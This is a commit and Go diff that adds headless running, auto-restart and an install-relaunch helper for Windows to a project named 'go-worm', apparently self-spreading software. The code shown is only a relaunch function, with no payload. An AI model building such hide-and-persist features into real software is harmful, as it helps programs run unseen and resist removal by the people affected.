refactor(core): add headless run and auto-restart

- Run without console by default
- Log to file once console hidden
- Recover panics in background goroutines
- Restart agent after unexpected errors
- Use shared instance launch helper

lib/install/relaunch_windows.go

@@ -0,0 +1,18 @@
+//go:build windows
+
+package install
+
+import (
+	"fmt"
+	"os"
+
+	"tea.chunkbyte.com/kato/go-worm/lib/instance"
+)
+
+func relaunchInstalled(target string) error {
+	if err := instance.Launch(target, os.Args[1:]); err != nil {
+		return fmt.Errorf("relaunch from %s: %w", target, err)
+	}
+	os.Exit(0)
+	return nil
+}